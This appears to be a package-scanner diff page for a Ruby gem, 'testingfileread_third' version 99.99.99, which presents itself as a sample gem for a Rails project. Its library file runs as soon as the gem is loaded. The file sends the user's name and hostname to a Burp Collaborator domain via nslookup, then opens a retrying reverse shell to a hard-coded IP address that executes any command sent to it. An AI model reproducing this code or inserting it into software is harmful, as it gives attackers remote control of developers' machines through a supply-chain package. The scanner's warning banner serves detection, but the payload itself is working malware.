testingfileread_third 99.99.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of testingfileread_third might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/testingfileread_third.rb +33 -0
- metadata +43 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: a8afc0d8b28b8cac8ea88ba49b12602c3aeb9d0428774ce47100af7d5f2be60f
|
4
|
+
data.tar.gz: f5a12a2f7f4e7b8fdb832cff426b01c41a718ff28c023def327860506b17ce50
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: b1aa5e74106802b42c3c3e595f1b6c13d2900a5b7a2fcb70bc8187fe38d0c6408a48baf8070f8486cc7a9e8e3afbf6322ce0212d815e88359210adecf9f849d8
|
7
|
+
data.tar.gz: 57193ddcd10187a55857cb1645fd2ede567302e3fe8a4cfa83ad50dc8d4f72320c4793b2ead9548a6e5dec436a09ddf1759a0889a6ac877e9752044b370702ce
|
@@ -0,0 +1,33 @@
|
|
1
|
+
|
2
|
+
class Testingfileread_third
|
3
|
+
|
4
|
+
require 'socket'
|
5
|
+
require 'open3'
|
6
|
+
|
7
|
+
#Set the Remote Host IP
|
8
|
+
RHOST = "37.11.229.157"
|
9
|
+
#Set the Remote Host Port
|
10
|
+
PORT = "1001"
|
11
|
+
Open3.capture2('nslookup `whoami`.`hostname`.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
|
12
|
+
Open3.capture2('nslookup %USERNAME%.%COMPUTERNAME%.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
|
13
|
+
|
14
|
+
#Tries to connect every 20 sec until it connects.
|
15
|
+
begin
|
16
|
+
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
|
17
|
+
sock.puts "We are connected!"
|
18
|
+
rescue
|
19
|
+
sleep 20
|
20
|
+
retry
|
21
|
+
end
|
22
|
+
|
23
|
+
#Runs the commands you type and sends you back the stdout and stderr.
|
24
|
+
begin
|
25
|
+
while line = sock.gets
|
26
|
+
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
|
27
|
+
IO.copy_stream(stdout_and_stderr, sock)
|
28
|
+
end
|
29
|
+
end
|
30
|
+
rescue
|
31
|
+
retry
|
32
|
+
end
|
33
|
+
end
|
metadata
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: testingfileread_third
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 99.99.99
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Dr. Who
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2021-04-08 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: A test gem
|
14
|
+
email: drwho@gmail.com
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/testingfileread_third.rb
|
20
|
+
homepage: https://rubygems.org/gems/testingfileread_third
|
21
|
+
licenses:
|
22
|
+
- MIT
|
23
|
+
metadata: {}
|
24
|
+
post_install_message:
|
25
|
+
rdoc_options: []
|
26
|
+
require_paths:
|
27
|
+
- lib
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
29
|
+
requirements:
|
30
|
+
- - ">="
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '0'
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: '0'
|
38
|
+
requirements: []
|
39
|
+
rubygems_version: 3.2.5
|
40
|
+
signing_key:
|
41
|
+
specification_version: 4
|
42
|
+
summary: Sample gem for our Rails project
|
43
|
+
test_files: []
|